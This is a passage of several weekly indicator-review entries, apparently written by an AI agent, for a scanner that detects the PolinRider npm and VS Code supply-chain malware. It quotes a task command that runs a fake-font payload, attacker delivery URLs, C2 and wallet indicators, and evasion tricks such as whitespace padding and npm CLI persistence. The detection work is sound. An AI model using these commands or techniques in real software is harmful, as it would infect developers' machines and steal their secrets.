Built outside the repository working tree and scanned with ci/scan-workspace.sh:

• a fa-solid-500.woff2 holding 421 tab characters followed by global.i = 'A8';, both XOR keys, the header, the paths and the already-carried wallet → INFECTED, exit 2 (twice: once on the strings, once on the existing font-masquerade check, which reported font file is not a font)
• a file named temp_interactive_push.bat and nothing else → INFECTED, exit 2, on the filename alone
• a tree carrying only the .gitignore block, a settings.json with "task.allowAutomaticTasks": true, and a .js file naming the header and the two paths → review only, exit 0, and exit 1 under --fail-on review
• each of the ten new content indicators in a file of its own → all ten fire, three as INFECTED and seven as review, which the deduplicating output of a combined scan would otherwise have hidden
• near-miss negatives → zero findings, exit 0: global.item = 'A8-9000' and a bare const rev='A8'; a .gitignore listing only config.bat; a settings.json carrying only terminal.integrated.hideOnStartup and debug.openDebug; the request header Sec-V; mainnet.infura.io; the path /0x0/list; and a postcss.config.mjs naming the real sass-formatter

Considered and not added

The three new fake-font paths, and the 900-variant task command. The post names five payload locations across three repositories: public/fonts/fa-solid-500.woff2, and fa-solid-900.woff2 nested under prisma/generated/prisma/internal/, src/main/admin/admin-ad/dto/ and src/module/content-master/category/dto/. None can go in filenames.txt, which is INFECTED tier: fa-solid-900.woff2 is a real Font Awesome filename, the three deep paths are specific to these victims, and the post’s whole argument is that the next sample will use a different one. The 2026-09-14 entry rejected fa-solid-400.woff2 on the same grounds and asked for a weak filename tier; this week is the second week that would have used one.

The 900 task command is published verbatim — command -v node >/dev/null 2>&1 && node ./prisma/generated/prisma/internal/public/fonts/fa-solid-900.woff2 — and carrying it would match exactly one victim repository. The generalisable form is a regex (node .*fa-solid-[0-9]{3}\.woff2), which no file in ioc/ can express. Left alone; see the gaps.

config.bat. Fourth appearance, third rejection, and the reasoning has not changed: it is a name anything at all can have, and .bat files named config are ordinary on Windows. Not carryable even at review tier, where it would fire on any Windows project. The other three names in the same .gitignore block are specific enough and were carried.

The build markers A8, A8-n*, 9-10094, 9-2078, 8-1259, 8-1586, 8-1144. Same answer as the A6- family in 2026-09-14 and the A9-0204-3 marker in 2026-09-21. As bare fixed strings these are four-to-seven-character alphanumeric tokens that would match part numbers, ticket IDs, version fragments and hex dumps. The two that can be carried safely are carried with their assignment context: global.i = 'A8 above, and the bare global['!'] already in strong.txt, which matches the 9-10094 marker’s carrier without matching the number.

global.i on its own, and Sec-V. global.i as a fixed string matches global.index, global.init, global.instance and anything else minified code assigns. Sec-V is five characters. Both would generate noise for no gain; the information they carry is already covered by the entries above.

The three published SHA-256 hashes. 1a21bad1…b36f9705 for the fa-solid-900.woff2 payload, and two for the poisoned eslint.config.mjs and .vscode/tasks.json at commit 1b16bd46b7. This is the third consecutive week that real, published hashes have been turned away for the reason the 2026-09-21 entry recorded as an open gap: both hash sweeps in lib/local-common.sh are bounded to files larger than 10 MB and smaller than 300 MB, or keyed to implant-paths.txt, and ci/scan-workspace.sh does not read hashes.txt at all. A 37,567-byte font payload is outside all of it. Adding these would make the set look like it covers the 900 variant when nothing would ever compare them. The gap now has five concrete examples behind it.

The three VS Code settings that switch off the visible signs. "terminal.integrated.hideOnStartup": "always" and "debug.openDebug": "neverOpen" are ordinary settings with ordinary uses, and the post does not recommend hunting them; only allowAutomaticTasks, which was carried. The combination of all three in a .vscode/settings.json is the signal, and a conjunction is a check, not a fixed string.

AUTH_API_KEY, and the prisma.config.ts loader shape. One historical variant read a base64 URL out of process.env.AUTH_API_KEY, imported node-fetch, and eval’d the response. AUTH_API_KEY is a plausible legitimate environment variable name and cannot be carried at any tier. The loader’s shape — eval of a fetched response whose URL comes from atob(process.env.…) — is a regex check. The 900 rewrites deleted this path and removed node-fetch and dotenv from package.json again, so it is history rather than current.

Everything about the victims. The Binary-Mindz organization and its three repositories, GulamRosul/Curved-navigation-bar, and the nineteen GitHub accounts the post names (alamin-sujon, ramjan-devs, haniful360, Rafi-Sharkar and the rest). The post is explicit that it believes every developer named is a victim, and this repository’s rule is the same: a victim’s name is not an indicator of anything in someone else’s project. The commit SHAs, the 853 force-pushes and the GitHub timestamps are evidence of one incident, not detection content.

The two 2026-09-17 posts. introducing-weaselbiscuit and the-opensourcemalwareshow-episode21 were both read. The 2026-09-21 entry already worked through both and rejected the WeaselBiscuit cluster on the grounds that OpenSourceMalware does not attribute it to PolinRider and the only stated connection is a shared numeric-marker convention. Re-read this week and the conclusion is unchanged; recorded so it is not re-derived a third time. Episode 22 (2026-09-25) mentions PolinRider several times but publishes no indicator.

The GHAPPIER set, again. No new primary material this week — the secondary coverage that turned up in search (Infosecurity, CyberSecurityNews, gbhackers, byteiota, a Thai NCSA digest) all restates CloudSEK’s report, which the 2026-09-21 entry read from the PDF and worked through in full. Its scope decision stands and is the maintainer’s to revisit: @dforge-core/dforge-mcp@0.2.21 and the GHAPPIER loader indicators stay out because GHAPPIER is a separate loader family that happened to share a victim.

New techniques — maintainer decisions, not implemented

Nothing here is implemented, and the first two are the same item from two directions: the campaign is now deliberately targeting the string- and name-based matching that ioc/ is built on.

1. Parallel variants, not successive ones. Three fake-font filenames, two obfuscators, two padding styles and at least four execution paths were live in one organization on one day, and a newer variant was rolled back to an older one within half an hour. Every check in this repository that keys off “the current sample” is keying off one arm of a running experiment. The practical consequence is that the font-masquerade check in ci/scan-workspace.sh — which reads the first four bytes and asks whether a .woff2 is actually a WOFF2 — is now the most durable detection this repository has for this vector, and it is the one the post independently recommends (find . -name '*.woff2' -exec file {} +). It deserves to be extended to the local checks, which do not do it.
2. A regex tier for paths and commands. Two weeks running, the blocking problem has been the same: the useful form of an indicator is node .*fa-solid-[0-9]{3}\.woff2, or a filename that should be reviewed rather than declared infected, and ioc/ has neither a regex content tier nor a weak path tier. filenames.txt is already extended regex, so the machinery half-exists. This is the single change that would have let three of this week’s rejections be additions.
3. .gitignore as a machine-infection signal, separate from repository infection. The four-line block is the clearest evidence yet published that a contributor’s machine is infected even when the repository holds no payload, and it is why cleanups keep being reverted. Three of the four names are now carried at review tier, which is the most ioc/ can say. What the scanner cannot currently do is say the useful thing: “this repository is clean, and at least one person who can push to it is not.” That is a different verdict class, and inventing one is not a reviewer’s call.
4. Force-push forensics against the GitHub activity API. The post recovers the entire eight-month history from /repos/OWNER/REPO/activity?activity_type=force_push, and reports that 814 of 853 force-pushes rewrote only the tip commit with the same parent and the same author date, 629 of them preserving the committer timestamp too. lib/gh-scan.sh already reads the events API and AGENTS.md already warns that the events window is roughly 300 events; the activity endpoint appears to go back to repository creation, which would be a materially better evidence source than the one the tools use. Worth a maintainer’s look independently of any indicator.
5. Cleanup reversal under the cleanup’s own commit message. Three cleanups in this organization were undone by force-pushes from other contributors’ accounts within five to thirteen hours, keeping the original titles, so a commit reading “security: remove VS Code supply-chain malware” currently contains the malware. This is a direct vindication of the non-negotiable ordering in AGENTS.md (machines, then credentials, then branches) and is worth citing in the README where that order is explained, which is documentation rather than code.

Open gaps

The July 2026 ecosystem expansion. Carried forward unchanged for the third week. The one Chrome extension is still unnamed in any reachable source and three of the nineteen npm names are still unaccounted for. socket.dev returned 403 again, on both the tracker and the blog. Searched specifically; found only the same secondary coverage quoting Socket’s counts.

sass-format, typeorm-encrypt and clsx-tailwind. Unchanged. Known-malicious, deliberately unmatched, because each is a strict substring of a live legitimate package and bad-packages.txt is matched with grep -F. Still needs a whole-name check against a parsed manifest.

The npm CLI persistence has no coverage. Unchanged and still the highest-value open item: npm/lib/cli.js overwritten with a ~1 MB malicious CLI defeats the documented cleanup sequence, and nothing here detects it. Blocked on nobody.

hashes.txt cannot hold a small-file hash. Carried forward from 2026-09-21 and now with five published examples turned away rather than two. The file’s header promises “any file matching one of these is the implant, whatever it has been renamed to”, and the code delivers that only for files between 10 MB and 300 MB or sitting on an implant-paths.txt path. Every hash this campaign’s analysts publish for a payload rather than a second-stage binary is unusable.

No blob-ID tier. Carried forward from 2026-09-21, unchanged.

New gap: the font-vector indicators in ioc/ are one variant behind, and cannot catch up as fixed strings. node ./public/fonts/fa-solid-400.woff2 is the only entry covering this vector and it matches neither the 500 nor the 900 variant, both of which are live. A 900-variant payload is caught today only by the font-magic-bytes check and by the wallet — not by any font indicator — and a future variant that drops the wallet from plain text, which the 900 build already does, would be caught by the magic-bytes check alone. Closing this needs gap 2 above (a regex tier), not more strings.

New gap: no weak tier for filenames. Third consecutive week this has blocked an addition (fa-solid-500.woff2 and branch_structure.json as a path this week, config.bat and spellright.dict on 2026-09-14). filenames.txt is INFECTED-only, so a name that deserves a look but not a verdict has nowhere to go and ends up either absent or over-classified.

Notes

• shellcheck is still not installed in this container. bash -n passes on every script. This change touches ioc/*.txt data files and Markdown only, with no shell code changed, so CI’s shellcheck gate is unaffected — but a future review making a code change still cannot validate it here.
• Self-tests: selftest, selftest-implant, selftest-entrypoint, selftest-nextsteps and selftest-preserve pass. selftest-restore, selftest-rewrite and selftest-ui fail, and I confirmed they fail identically in a clean worktree of unmodified origin/main. Unchanged from the standing note, for the fourth week.
• Nothing was added to network.txt this week, so the container’s missing ss/netstat did not matter. The classification inconsistency the 2026-09-21 entry raised — TRON and Aptos endpoints in both weak.txt and network.txt, the Ethereum ones in weak.txt only — is unresolved and untouched here.
• The source post is a single server-rendered HTML page; its pre-formatted indicator table is why the XOR-key whitespace question above could be stated precisely rather than guessed at. No PDF extraction was needed this week.
• No page, repository or document read during this review attempted to give the reviewer instructions.
• The commits on this branch are unverified, for the reason the standing appendix documents: the container’s signing key is registered to Claude, and authoring as the maintainer — which is correct — yields unknown_key. Squash-merge resolves it; GitHub signs the squash commit itself.

Sources

Also re-checked: thehackernews.com 200, checkmarx.com 200. The widened egress allowlist recorded on 2026-09-14 still holds.

A correction to how last week’s source sweep was done, not to its findings. Last week read the blog for the first time and listed the seven posts it read. polinrider-npm-case-study-dprk-attack (“NPM Isn’t Prepared For North Korean PolinRider Attack”, 2026-08-25) was not among them, although it was published inside the backlog that entry set out to drain, is tagged PolinRider, and ends with a labelled IOC section. Nothing last week’s entry says is wrong; the sweep was simply not exhaustive. Five of this week’s eight indicators come from it. The lesson for the next reviewer is mechanical: enumerate every post whose slug or title contains polinrider and check it off, rather than following the posts a previous week happened to name.

Upstream state

The dossier has not moved in ten weeks. The blog has, but away from this campaign: the two posts published inside the window — introducing-weaselbiscuit and opensourcemalwareshow-episode21, both 2026-09-17 — are about other things. Episode 21 opens by saying so in as many words (“none of them are about DPRK or PolinRider”), and its only PolinRider content is a remark that law enforcement and financial institutions are now taking the campaign seriously.

The campaign itself is demonstrably still running. CloudSEK read the NullReceiver dead-drop wallet off the Ethereum ledger on 2026-09-16 and found 362 empty transactions, the most recent published the day before their report, rotating the C2 configuration roughly every 1,000 blocks (about three hours twenty minutes). The marker generation has also advanced again: A8- in the August samples, A9-0204-3 in the September one.

Added

Eight indicators, from two named sources read in full.

Not counted above, because they are comments rather than matchable lines: three hijacked legitimate npm packages were added to the existing victim-package comment block in bad-packages.txt — fetch-page-assets (1.2.9 through 1.2.14), html-to-gutenberg (4.2.11) and @lambda-platform/lambda-vue (3.3.24). These follow the @common-stack/generate-plugin convention exactly: the maintainer is a victim, only specific versions are malicious, and the name alone is not a finding. At the time of the source’s publication the six fetch-page-assets versions were still live and unflagged on npm, with 1.2.14 as the latest dist-tag.

The five RPC endpoints are in weak.txt and deliberately not in network.txt

This is the one classification call this week that could reasonably have gone the other way, so it is written down rather than left implicit.

api.trongrid.io and fullnode.mainnet.aptoslabs.com are public blockchain RPC endpoints and they sit in both weak.txt and network.txt today. The consistent move would have been to put the five Ethereum endpoints in both too. I did not, for two reasons. network.txt is INFECTED-tier for a live connection and is explicitly “the list to feed an egress blocklist”; a JavaScript developer building on Ethereum has a node process talking to these hosts all day, and blocking them breaks that work. And CloudSEK, listing exactly these five, writes: “Legitimate services. Alert, do not block. A Node process on a workstation with no cryptocurrency role resolving these is the signal.” That is a description of the review tier.

Which leaves a real inconsistency in the set: the TRON and Aptos endpoints are treated more aggressively than the Ethereum ones on identical reasoning. Resolving it — promote these five, or demote those two — is a maintainer decision and no part of it was made here.

Verified against fixtures

Built outside the repository working tree and scanned with ci/scan-workspace.sh:

• a babel.config.cjs carrying global.i="A8-3292-1" after 509 spaces, as the source describes it shipping → INFECTED, exit 2
• a loader listing the four Ethereum RPC URLs → review, exit 0 (and exit 1 under --fail-on review; review-only exits 0 by default, which I confirmed is pre-existing behaviour by scanning a fixture carrying only the already-present weak indicator stdio: 'ignore')
• a .js file listing A8-3292-1, A8-3292-2, A6-420 and A10-3 as bare part numbers, with no global.i → zero findings, exit 0. This is the whole reason the indicator carries the global.i=" context
• a config naming mainnet.infura.io and cloudflare-eth.com, Ethereum RPC endpoints the campaign does not use → zero findings, exit 0

machine-cleanup/check-linux.sh over the same fixture tree independently flagged the babel.config.cjs through its “build configs with code after the module end” check and nothing else.

Considered and not added

The whole GHAPPIER indicator set, except the four NullReceiver values above. CloudSEK’s report is the most substantial new PolinRider-adjacent publication in months, and almost none of it belongs in this repository. GHAPPIER is a separate, previously unreported loader family — one file, indexe.cjs, byte- identical across 65 repositories and 22 accounts, fetching its real payload from primevector-app924560.vercel.app/api/key?mem=<tag>. The report’s own title places it beside PolinRider, and its attribution table is explicit: “The npm carrier is part of that campaign — Not claimed.” What ties the two is that a PolinRider payload was found in one of the same victim repositories, watching the already-published NullReceiver wallet. Two operators hitting one compromised developer is not evidence that they are one campaign, and a compromised developer population is exactly where you would expect that overlap.

So these stay out: indexe.cjs and indexe.js, the loader-line string primevector-app924560.vercel.app/api/key?mem=, the second delivery host brightlaunch-ext75642.vercel.app, the campaign tags g1028 / g0115 / g213515 / ghappier, the four loader SHA-256 hashes, the loader header string Isolated Node preinstall computational kernel, the implant lock filename vscode-ext.lock, the stage-2 download name tokenlinux.npl, the ss_exec branch marker, the artifact path $HOME/.npm/.vscode/parser.js, and the compromised carrier @dforge-core/dforge-mcp@0.2.21. Every one is attacker-owned and every one would make this scanner report GHAPPIER as PolinRider.

Contrast this with last week’s ChainVeil and ViteVenom decision, which went the other way on what looks like a similar question. There, OpenSourceMalware tied the clusters to PolinRider on five byte-for-byte shared values found inside the attacker’s own artifacts — two TRON wallets, an Aptos address, two XOR keys. Here the shared value sits inside a different payload family in a shared victim. Shared infrastructure in the attacker’s code is campaign membership; shared victims are not. Whether this repository’s indicator set should cover loader families found co-resident with PolinRider is a scope question, and it is the maintainer’s, not a reviewer’s. If the answer is yes, the list above is the change, and it is ready.

The A9-0204-3 campaign marker. This is the current generation and it is tempting for exactly that reason. CloudSEK recovered it “by decoding the payload’s string table in an offline container” — it is not a literal in the file. The A8 markers were published under the heading “grep-friendly” and one is shown inline in the shipped source; the A9 one is the output of deobfuscation. A fixed string that cannot appear in a scanned file is worse than no string, because it makes the set look like it covers a generation it does not. Add it the week a source publishes a greppable form — and note the whitespace question then: CloudSEK renders it global.i = "A9-0204-3", with spaces, where the August payload is global.i="A8-3292-1" without. I could not tell whether that difference is real or an artefact of the PDF, which is a second reason not to guess at a fixed string.

Two SHA-256 hashes that are real, published, and would never fire. f5c6be47…a8a61c2f6 is the malicious .vscode/tasks.json shipped in all seven DiogoAngelim repositories and 9fbb3112…a1a1eae6 is the fake-font payload. Both are genuine. But hashes.txt is consulted in exactly two places: against paths listed in implant-paths.txt, and in a sweep restricted to files larger than 10 MB and smaller than 300 MB (lib/local-common.sh, check_implants; the same bounds in check-windows.ps1). A 799-byte tasks.json and a 9 KB .woff2 are outside both. Closing this needs a small-file hash tier keyed to candidate paths — a scanner change, so a maintainer decision, and a new open gap below.

The dead-drop recipient 0xc1f79026c1f7902668656c6c6f6970626f742121 and the helloipbot!! marker. Last week rejected the one recovered recipient as disposable by design. This week’s is a different recipient with the same trailing twelve bytes, which confirms the rejection rather than challenging it: the address rotates, the trailing marker does not. helloipbot!! still exists only inside address bytes fetched at runtime, never as text in a scanned file, so it would still never fire. Both stay out for the same reasons as last week.

The C2 URI paths /0x/cls and /0x/ls. Published by OpenSourceMalware alongside the RPC list. They are request paths built at runtime against an address the loader resolves from the chain; they do not appear in a scanned file, and weak.txt matches file contents only. Same reasoning as the A9 marker. If the local checks ever inspect live HTTP, these become useful.

The resolver override ETH_RPC_URL. An environment variable the loader consults before its endpoint list. It is also the conventional name every Ethereum tool uses. Not carryable at any tier.

Git blob identifiers. The August 25 post publishes three SHA-1 blob IDs for cross-repository tracking (5e226620…, 6df5b2c9…, 0272b9f2…). There is no file in ioc/ for blob IDs and no check that would read one. A blob-ID tier would be genuinely useful for the org scanner, which already works with mirrors — but it is a new file and a new check, so: maintainer.

global['r'] and global['m']. The July blast-radius post lists these as injected globals for both obfuscator variants, beside the global['!'] and global['_V'] the set already carries. They are two characters inside a bracket and minified bundles assign such properties routinely. Too generic for strong.txt, and in weak.txt they would fire on ordinary builds constantly. The existing set’s omission of them looks deliberate and it is correct.

The WeaselBiscuit cluster. introducing-weaselbiscuit, 2026-09-17, is one of the two posts in the window: sixteen npm packages carrying a new lean Node.js infostealer, C2 at 103.170.217.184:8787, seven api.npoint.io dead-drop resolvers, second-stage SHA-256 7b15605f…ea5ae5159. OpenSourceMalware rates its own DPRK attribution “low to moderate” and does not attribute it to PolinRider at all; the only stated connection is that its numeric per-install identifiers “mirror the campaign-marker convention seen in the PolinRider cluster”. A convention in common is not shared infrastructure. Not added, and recorded here so the next reviewer does not have to re-read the post to reach the same answer.

The DiogoAngelim repositories and the force-push timestamps. Seven victim repositories and two account-wide force-push bursts with GitHub server timestamps. Victims, and evidence of a specific incident. Neither is an indicator of anything in someone else’s project.

New techniques — maintainer decisions, not implemented

Nothing genuinely new this week, but one of last week’s four now has a number attached, and one has a second independent confirmation.

1. The config-size heuristic, with a measurement. Last week’s technique 4 put the whitespace run at “roughly 280 spaces”. CloudSEK measured the September sample: the payload sits behind roughly 509 spaces on the line holding the closing export of a postcss.config.mjs, invisible without scrolling right. The run is getting longer, which argues for a threshold rather than a constant. ci/scan-workspace.sh already carries length($0) > 500 and length($0) > 4000 tests; whether the local checks should too is the open part.
2. Runtime string assembly to defeat file grep. The September payload builds the wallet address from two string literals and rejoins them at runtime, “so that a search of the file finds neither half”. This is the same pressure that produced the A9 marker being absent from the file, and it is a standing argument that string indicators decay while behavioural ones do not. Nothing to implement; it is context for why the rejections above keep landing the same way.
3. Provenance is not integrity, restated. The compromised @dforge-core/dforge-mcp release carried valid npm provenance through GitHub Actions OIDC trusted publishing, and its Sigstore attestation correctly names the attacker’s commit. Push access was publish access. This is not a PolinRider technique and needs no check here, but it bears on what ci/ can promise a user about a signed release.

Open gaps

The July 2026 ecosystem expansion. Carried forward, unchanged and unclosed in its remaining parts. The one Chrome extension is still unnamed in any reachable source, and three of the nineteen npm names are still unaccounted for. I searched specifically for both this week and found only the same secondary coverage quoting Socket’s counts. socket.dev returned 403 on both the tracker and the blog post. No change.

sass-format, typeorm-encrypt and clsx-tailwind. Known-malicious, deliberately unmatched because each is a strict substring of a live legitimate package and bad-packages.txt is matched with grep -F. Unchanged. Still needs a whole-name check against a parsed manifest.

The npm CLI persistence has no coverage. Last week’s highest-value open item, unchanged: npm/lib/cli.js overwritten with a ~1 MB malicious CLI defeats the documented cleanup sequence, and nothing here detects it. Blocked on nobody — the source is read and the mechanism understood. It needs a maintainer to decide the shape of the check.

New gap: hashes.txt cannot hold a small-file hash. Both hash sweeps are bounded to 10 MB–300 MB and are otherwise keyed to implant-paths.txt. Every hash published for this campaign that is not a second-stage binary — poisoned tasks.json files, fake-font payloads, loader scripts — is therefore unusable, and two concrete published examples were turned away this week. The fix is small and the file’s own header would need rewording, since it currently promises something broader than the code does.

New gap: no blob-ID tier. Lower value than the above, but the org scanner already holds mirrors and a blob ID is the cheapest possible cross-repository match.

Notes

• shellcheck is still not installed in this container. bash -n passes on every script. This change touches ioc/*.txt data files only, with no shell code changed, so CI’s shellcheck gate is unaffected — but a future review making a code change still cannot validate it here.
• Self-tests: selftest, selftest-implant, selftest-entrypoint, selftest-nextsteps and selftest-preserve pass. selftest-restore, selftest-rewrite and selftest-ui fail, and I confirmed they fail identically in a clean worktree of unmodified origin/main. Unchanged from the standing note.
• network.txt additions could not be exercised here. The live-connection check reports “neither ss nor netstat available, skipped” in this container, so the two new C2 addresses were verified only as well-formed list entries that the check parses without error. A reviewer with either tool installed can exercise the path properly.
• Reading the CloudSEK report needed work. The blog page carries no IOC list; everything of value is in a linked PDF, which uses CIDFontType2 subsetting that neither pdftotext nor poppler is present to handle. I extracted it with pypdf (which needed its cryptography import stubbed out, because the container’s cryptography module is broken). Line breaks inside the PDF’s tables are consequently unreliable, which is why no hash from that report is transcribed anywhere in this entry.
• No page, repository or document read during this review attempted to give the reviewer instructions. The CloudSEK PDF is marked TLP, which permits this use.
• The commits on this branch are unverified, for the reason the standing appendix documents: the container’s signing key is registered to Claude, and authoring as the maintainer — which is correct — yields unknown_key. Squash-merge resolves it; GitHub signs the squash commit itself.

Sources

The egress situation changed this week, and that is the main finding. Every third-party analysis host the previous entries recorded as blocked now returns real content from this environment: opensourcemalware.com, checkmarx.com, stepsecurity.io, securityonline.info and thehackernews.com. socket.dev is the one exception, and it refuses automated fetches by policy rather than by sandbox, exactly as docs/indicator-reviews/README.md already recorded.

This matters more than a convenience note. The previous entries were written against a blog nobody could read, and they said so honestly. Everything added below was published between 2026-07-08 and 2026-08-28 and was sitting behind that block the whole time. This is a backlog being drained, not a week of new campaign activity. Nothing here was published in the last seven days.

One caveat on the blog: opensourcemalware.com is a client-rendered single page app, so the bare domain and /blog/rss.xml both return a 2.4 KB shell with an empty <div id="root">. Individual post URLs are server-rendered and return full text. A future review that fetches the domain and concludes “still blocked” will be wrong — fetch a post path.

Posts read in full this week: the blog index, opensourcemalwareshow-episode20, opensourcemalwareshow-episode19, developer-guide-getting-over-polinrider, nullreceiver-dprk-c2-technique, chainveil-and-vitevenom-dprk-polinrider-campaign, polinrider-jumps-the-fence, polinrider-caused-dozens-of-npm-and-go-compromises.

Upstream state

The dossier has not moved. Same commit as last week, same README revision date, no new CSV.

The blog has moved a great deal, and the two obfuscator markers this repository carries are no longer the whole picture. From the August 13 developer guide, in the project’s own words: the original rmcej%otb% marker and _$_1e42 decoder “gave way to” Cot%3t=shtP and MDy — all four of which strong.txt already carries — and a third generation now exists under the NullReceiver branding, with its own marker and a different blockchain.

Scale, for the record, from episode 20 (2026-09-09): over 9,000 confirmed compromised repositories in the OpenSourceMalware database, against the 4,367 the last entry recorded from July. Episode 20 is the only source published inside this review’s seven-day window, and it contains no new indicator — the hosts were at a conference and called it “a quiet news cycle.”

Added

Nineteen indicators, from three named sources I read in full. Every one is attacker-owned or attacker-controlled; nothing here is a victim’s name.

The ChainVeil and ViteVenom attributions are OpenSourceMalware’s, not Checkmarx’s. Checkmarx named them as two separate campaigns and explicitly declined to attribute. OpenSourceMalware tied both to PolinRider on five byte-for-byte shared values — the two TRON wallets, the Aptos address and both XOR keys — every one of which strong.txt already carried before this week. That is why these names belong in this repository’s set and not in a separate one.

Each of the sixteen npm names was checked against the live registry. All sixteen exist; the taken-down ones carry npm’s 0.0.1-security placeholder, and the live ones carry exactly the versions the source lists.

Verified against fixtures

Scanned outside the repository working tree, with ci/scan-workspace.sh:

• a package.json depending on @vite-tab/tab and tailwindcss-merge → INFECTED (exit 2)
• a .vscode/tasks.json carrying the font-execution command → INFECTED (exit 2)
• a file containing A10-npm3! and the wallet → INFECTED (exit 2)
• package.json files depending on the real sass-formatter, typeorm-encrypted and clsx-tailwind-merge → zero findings (exit 0)
• an HTML file merely referencing /public/fonts/fa-solid-400.woff2 in a <link rel="preload">, without executing it → zero findings (exit 0)

That last case is the reason the strong indicator is the command string and not the filename. fa-solid-400.woff2 is a real Font Awesome asset present in thousands of legitimate projects.

Considered and not added

Three ChainVeil package names, rejected on substring collisions. This is the most important rejection in this entry, because all three look perfectly safe in the source table:

bad-packages.txt is matched with grep -F, so each of these would report every project depending on the legitimate package as INFECTED. I confirmed this rather than assumed it: adding the three back temporarily turned all three legitimate fixtures from exit 0 to exit 2. Note that this is the reverse of the 2026-09-07 case, where the malicious name was longer than the real one and fixed-string matching was therefore safe. Length is what decides it, and it cuts both ways. Matching these three needs a whole-name comparison against a parsed manifest — a scanner change, so a maintainer decision.

Filenames that are legitimate names. The August 13 guide names three files worth looking for: config.bat (beside the already-carried temp_auto_push.bat), spellright.dict, and fa-solid-400.woff2. None can be added. filenames.txt is an INFECTED-tier file, and all three are ordinary names — spellright.dict belongs to a real VS Code extension, fa-solid-400.woff2 to Font Awesome, and config.bat to anything at all. There is no weak tier for paths: weak.txt matches file contents, not paths. A weak-filename tier would close this, and it is a maintainer decision.

The A6- marker family. A6-519-81, A6-420, A6-317, A6-318, and the lowercase a6-shadow-15 and a6-orion-271. The prefix is a real operator signature across packages and timeframes, which makes it tempting. But these are short alphanumeric tokens with no delimiter discipline, and as fixed strings A6-420 in particular would match part numbers, ticket IDs and hex dumps. Catching the prefix needs a regex with context, not a fixed string.

The NullReceiver recipient address 0xa658863ea658863e68656c6c6f6970626f742121, and the ASCII fingerprint helloipbot!! its trailing bytes spell. The recipient is disposable by design — the entire point of the technique is that it is never reused — so carrying the one recovered sample would match exactly one historical transaction and nothing else. helloipbot!! exists only inside those address bytes, not as text in any scanned file, so it would never fire. The sending wallet, which is reused, was added instead.

secure-box and tailwind-color-shades. Named as DPRK-owned in a podcast recap inside the ChainVeil post. Both show takedown placeholders on npm, which corroborates the claim, but secure-box is far too generic a name to carry at INFECTED tier on a second-hand mention, and the recap is a summary rather than the analysis itself. Revisit if a primary source lists them.

The Packagist and Go package names. polinrider-jumps-the-fence names ten compromised Composer packages, and reports compromise traces in 80+ Go modules. These are victims, not attacker-owned names: the maintainers are legitimate and only specific tagged commits are malicious. By the same rule that keeps @common-stack/generate-plugin a comment, the name alone is not a finding. The ten Composer names were added to bad-packages.txt as a comment block, matching that existing convention, so a reader checking a composer.json has the list without the scanner matching on it.

Telegram exfiltration. The August 13 guide notes one variant exfiltrating over a Telegram bot API alongside the blockchain C2. No bot token, channel or host is published, and api.telegram.org is far too common to carry even as weak. Nothing actionable yet.

New techniques — maintainer decisions, not implemented

Four, described here and deliberately left alone.

1. The npm CLI is overwritten to persist. This is the significant one. npm/lib/cli.js — normally a few hundred bytes and about four lines — is replaced with a ~1 MB malicious CLI, payload appended after a long whitespace run starting on line 5. Every npm, npx or npm exec call then re-spawns the malware, and it survives a reboot because it lives in the tool rather than in a process. This defeats the entire remediation sequence this repository documents: a user can clean every repo, rotate every credential and quarantine every implant path, and be reinfected by their next npm i. A check would compare npm/lib/cli.js against a size threshold, following symlinks. It is not an ioc/ entry — the path is legitimate and only the size and content are wrong — so it needs a new local check.
2. Injection targets are now chosen by reachability. The malware originally appended to five or six known config names, then fifteen or sixteen. It now reads the project to find a .js/.ts/.cjs/.mjs file that is actually in the execution path, and injects there. Any check keyed to a fixed list of config filenames is looking in the wrong place.
3. NullReceiver replaces the fixed dead-drop. C2 resolution has moved from TRON/Aptos with a known burn address to an Ethereum transfer whose recipient address encodes the C2 IP, with no contract and no calldata. Detection built around “malware reads a transaction’s data field” will not see it.
4. A size heuristic for poisoned configs. The payload sits after roughly 280 spaces; a config that should be 80–200 bytes arrives at ~5,000. Cheap to check and independent of any marker, which is exactly what makes it worth a maintainer’s attention given how often the markers rotate.

Open gaps

The July 2026 ecosystem expansion — substantially closed, and smaller than it looked. The previous entry carried this as the largest hole in the set: 162 malicious artifacts across 108 packages. Now that the sources are reachable, the 108 breaks down (The Hacker News, quoting Socket) as 19 npm libraries, 10 Composer packages, 61 Go modules and one Chrome extension.

Only the npm portion is matchable by name at all — the Composer and Go entries are hijacked victim repositories, where the name is not a finding and the tagged commit is. This review added 16 of those 19 npm names and documented why the other three cannot be fixed strings. So the matchable part of this gap is essentially closed, and the headline number always overstated it.

What remains:

• The one Chrome extension is still unnamed in any source reachable from here. Socket’s own post is the only place likely to name it, and socket.dev returns 403 by policy.
• Three npm names from the 19 are unaccounted for, beyond the 16 carried. Same source problem.
• sass-format, typeorm-encrypt and clsx-tailwind are known-malicious and deliberately unmatched. This is a real detection hole, not an oversight, and it stays open until there is a whole-name matching path.

New gap: the npm CLI persistence has no coverage. Technique 1 above defeats the documented cleanup sequence, and nothing in this repository detects it. This is the highest-value change now available, and unlike the ecosystem expansion it is blocked on nobody — the source is read, the mechanism is understood, and it needs a maintainer to decide the shape of the check.

Notes

• shellcheck is not installed in this container. bash -n passes on every script. CI enforces shellcheck, and this change touches only ioc/*.txt data files with no shell code changed, so the risk is nil — but a future review making a code change cannot validate it here.
• Self-tests: selftest, selftest-implant, selftest-entrypoint, selftest-nextsteps and selftest-preserve pass. selftest-restore, selftest-rewrite and selftest-ui fail, and I confirmed against a fresh clone of unmodified main that they fail there identically — byte-identical output for two of them, and differing only by a random temp directory name for selftest-restore. Unchanged from the appendix’s standing note.
• No page or repository read during this review attempted to give the reviewer instructions.
• The commits on this branch are unverified, for the reason the appendix documents: the container’s signing key is registered to Claude, and authoring as the maintainer — which is correct — yields unknown_key. Squash-merge resolves it; GitHub signs the squash commit itself.

Sources

opensourcemalware.com and every third-party analysis host — socket.dev, thehackernews.com, threatfox.abuse.ch, checkmarx.com, rescana.com — were unreachable from the review environment, which permits outbound HTTPS only to an allowlist. Their content was read through search summaries, which establishes that something was published and roughly what it said, and is not enough to copy an indicator out of. Nothing added below is sourced that way.

Upstream state

Nothing new was published this week.

The dossier README still carries its 2026-04-11 revision date. Its most recent commit is 2026-07-09, adding polinrider-compromised-owners-july10.csv and polinrider-compromised-repos-july10.csv: 2,417 victim repositories and 1,219 owners. Those are victim inventories, not indicators. The injection vectors and hit paths in them are the four already documented — config-file injection, fake .woff2 font, .vscode/tasks.json, malicious npm dependency — and no new marker, host or path appears in either file.

